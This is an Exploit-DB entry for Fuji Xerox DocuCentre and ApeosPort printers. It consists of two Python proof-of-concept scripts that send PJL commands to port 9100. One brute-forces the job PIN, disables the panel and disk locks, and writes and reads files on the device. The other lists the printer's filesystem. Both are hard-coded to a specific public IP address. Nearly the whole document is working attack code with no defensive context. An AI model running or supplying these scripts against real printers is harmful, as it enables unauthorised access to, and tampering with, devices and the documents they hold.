Exploit-DB #45332
Description: FUJI XEROX DocuCentre-V 3065 Printer - Remote Command Execution
Type: remote
Platform: hardware
Date: 2018-09-05
Author: vr_system

Exploit:
# Exploit Title: FUJI XEROX DocuCentre-V 3065 Printer - Remote Command Execution
# Date: 2018-09-05
# Exploit Author: vr_system
# Vendor Homepage: https://www.fujixerox.com.cn/
# Software Link: https://www.fujixerox.com.cn/
# Version: DocuCentre-IV,DocuCentre-VI,DocuCentre-V,ApeosPort-VI,ApeosPort-V
# Tested on: DocuCentre-V 3065,ApeosPort-VI C3371,ApeosPort-V C4475,ApeosPort-V C3375,DocuCentre-VI C2271,ApeosPort-V C5576,DocuCentre-IV C2263,DocuCentre-V C2263,ApeosPort-V 5070
# CVE : N/A
 
#  POC：Ability to write files to the printer
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import socket
import time
PJL_START = "\033%-12345X@PJL "
PJL_FINISH = "\033%-12345X\r\n"

def Buildsocket(ip,port=9100):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)  
    sock.settimeout(5)
    try:
        sock.connect((ip, port))
    except:
        print "[!*]-ip-%s-can't connect--" % ip
        return 'error'
    for i in range(500):
        print"bypass pin:{0}".format(i)
        PJL_INFO_ID = """JOB PASSWORD={0}\r\n""".format(i)
        DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
        sock.send(DEVICEID)  
        PJL_INFO_ID = """DEFAULT PASSWORD=0\r\n"""
        DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
        sock.send(DEVICEID)  

    PJL_INFO_ID = """DEFAULT CPLOCK=OFF\r\n"""
    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
    sock.send(DEVICEID)  
    PJL_INFO_ID = """DEFAULT DISKLOCK=OFF\r\n"""
    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
    sock.send(DEVICEID)  

    PJL_INFO_ID = """FSDOWNLOAD FORMAT:BINARY SIZE=4 NAME="0:/test4"\r\n"""
    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
    sock.send(DEVICEID)  
    try:
        device = sock.recv(1024)
    except:pass
    PJL_INFO_ID = """FSUPLOAD NAME="0:/test4" OFFSET=0 SIZE=4\r\n"""
    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
    sock.send(DEVICEID)  
    try:
        device = sock.recv(1024)
    except:pass
    finally:
        sock.close()
    print "OK"

if __name__ == '__main__':
    ip = "118.42.125.192"
    Buildsocket(ip, port=9100)

# POC：Ability to view files in the printer
##!/usr/bin/env python
# -*- coding: UTF-8 -*-
import socket
PJL_START = "\033%-12345X@PJL "
PJL_FINISH = "\033%-12345X\r\n"

def Buildsocket(ip, port=9100):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) 
    sock.settimeout(5)
    try:
        sock.connect((ip, port))
    except:
        print "[!*]-ip-%s-can't connect--" % ip
        return 'error'
    PJL_INFO_ID = """FSDIRLIST NAME="0:/" ENTRY=1 COUNT=65535"""
    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH  
    sock.send(DEVICEID)  
    try:
        device = sock.recv(1024)
    except:pass
    PJL_INFO_ID = """FSDIRLIST NAME="0:/" ENTRY=1"""
    DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH
    sock.send(DEVICEID)  #
    try:
        device = sock.recv(1024)
    except:
        return 'No'
    print "[!*]-ip-%s-is-ok\r\ndeviceidis-%s" % (str(ip), device)
    sock.close()
    return 'OK'
if __name__ == '__main__':
    Buildsocket("118.42.125.192", port=9100)